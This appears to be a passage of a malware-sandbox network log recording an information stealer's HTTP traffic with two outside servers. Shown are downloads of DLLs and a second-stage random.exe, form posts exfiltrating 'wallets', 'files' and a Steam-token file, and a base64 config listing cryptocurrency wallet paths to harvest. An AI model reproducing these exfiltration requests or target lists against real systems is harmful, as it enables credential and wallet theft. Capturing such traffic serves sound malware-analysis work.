Nov 26, 2024 08:03:46.212508917 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 26, 2024 08:03:49.548070908 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 08:03:50.004914999 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 26, 2024 08:03:50.642992973 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 08:03:51.098845959 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 26, 2024 08:03:51.863679886 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 08:03:52.820060968 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 08:03:52.924052954 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="message"wallets------IIEBGIDAAFHIJJJJEGCG--
Nov 26, 2024 08:03:53.382580996 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 26, 2024 08:03:53.599332094 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="message"files------BFBGDGIDBAAEBFHJKJDG--
Nov 26, 2024 08:03:54.060205936 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 08:03:54.087383986 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file"------GCBGCAFIIECBFIDHIJKF--
Nov 26, 2024 08:03:55.037833929 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 08:03:55.065802097 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 2d 2d 0d 0a Data Ascii: ------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="message"ybncbhylepme------EBGCBAFCGDAAKFIDGIEG--
Nov 26, 2024 08:03:55.526807070 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49829	185.215.113.16	80	2156	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:03:55.651602030 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 26, 2024 08:03:57.030715942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 07:03:56 GMT Content-Type: application/octet-stream Content-Length: 1896960 Last-Modified: Tue, 26 Nov 2024 06:42:57 GMT Connection: keep-alive ETag: "67456df1-1cf200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@@K@WkD\JJ @.rsrcD@.idata @ p*@ovllquoa 1@jwgixeipK@.taggant0K"@
Nov 26, 2024 08:03:57.030822039 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 08:03:57.031563044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 08:03:57.031574965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 08:03:57.031585932 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 08:03:57.032768011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 08:03:57.032778978 CET	1236	IN	Data Raw: ea 06 69 b9 e9 f4 13 1b 70 57 43 a4 eb eb 2e d0 a8 37 43 18 fb 6a 67 bc 3b 79 88 e9 2d 43 25 57 fc e7 12 db e4 73 a1 e8 f9 3b 45 da 68 9b 23 d8 b7 69 14 e8 a1 4b 50 10 09 a7 70 32 6a 37 0b 9b 96 57 52 f4 e1 b7 45 de 28 9b 43 98 ea ea bd 8a 32 27 Data Ascii: ipWC.7Cjg;y-C%Ws;Eh#iKPp2j7WRE(C2'bF-zQCECXl7b'8M(f!;I(T98CW8`/h!_!ui'cPC{"#0b(Q!8&XP907>p[4w^Yq,xA
Nov 26, 2024 08:03:57.032788992 CET	248	IN	Data Raw: 0d 93 f2 9b b5 df 4f ac 9f 0f fa 68 a4 26 58 68 a1 1d 3e 3c df 07 3f f8 3f d6 d7 70 8d 4d 16 8e 82 64 fd c7 4f 20 c7 db a6 75 05 4b 86 2f f2 6a de f8 23 18 66 08 67 35 ee 5d 05 f8 0f b2 6c 1f 1a 2f 09 2b 9a 39 e9 04 ab 90 3a d1 37 47 8f 35 1b fc Data Ascii: Oh&Xh><??pMdO uK/j#fg5]l/+9:7G5sKnZfrXD`k3wcl,uqQ<\mwQ;bu~'EolhLug88$8W:i=)>l l})}) 3kARz3:0 ze.'
Nov 26, 2024 08:03:57.033952951 CET	1236	IN	Data Raw: 1d 2a 69 da ce 5f cb 9b 1c 19 41 54 86 9c 09 64 df 93 99 cc f4 9a d0 a7 5c a7 c8 98 e9 7a c2 2c 4f 2c dc ae cc 27 10 bf 57 1f 50 35 e3 2f fa 76 3a 4e 00 de 39 1b 0b d5 ef 48 4a b1 1b 3e 81 64 f2 59 14 41 06 97 55 7f 72 9d 45 eb 83 e7 e1 93 eb e3 Data Ascii: i_ATd\z,O,'WP5/v:N9HJ>dYAUrEqZN!2cb~f!=_7fY+YQJ5<XV#7Az=tRCZWe81.N1T3D+; E&3+3eo6XAfcvZQ;.M&
Nov 26, 2024 08:03:57.034133911 CET	1236	IN	Data Raw: 37 16 99 ee 13 b7 f3 67 37 a5 d8 78 3f 58 c2 1a 8a cb 73 db a5 2b 47 34 71 79 c0 14 dc c5 a8 dc 87 f7 47 e0 5a 1f 54 fe 30 49 46 9d ba 14 35 38 7e 8c 50 d6 60 18 d8 32 ca 16 ed af 50 7f b4 63 e3 4d 12 65 52 5b 72 38 e9 ff 9b 3f 6b ad ad c6 92 10 Data Ascii: 7g7x?Xs+G4qyGZT0IF58~P`2PcMeR[r8?ks!EFZbkNtP]p&CC='Y_;AOn]f6gvx\Vy(-<_4+vf;x!>/wv^}6uBnNoD#6$,H(L*1I
Nov 26, 2024 08:03:57.150841951 CET	1236	IN	Data Raw: ac 8b 40 89 bb 19 5d a5 f0 38 8c ea 72 e7 66 35 c8 5d 01 c6 27 a2 56 6a 2b 69 e9 34 42 d8 c8 af 6a 17 43 ef dd 32 c0 50 22 f1 03 77 c2 71 45 b6 ce 9c 26 df 9a b9 f5 e9 b6 62 0a d2 38 b4 e1 20 e6 1a cf 31 29 1b 5f 07 c4 da 7c a5 e0 ff 4b db 0f 01 Data Ascii: @]8rf5]'Vj+i4BjC2P"wqE&b8 1)_\|K2u ADG-\|dCBXQcgD4f~fE4c-9O}[_$X,<c]5u)ZV]MgcIc]9=]Z JI9Hj8doh!Cl1M`i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49833	185.215.113.206	80	2156	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:04:00.852833033 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKFBAKFCBFHIJJJJDBFC--
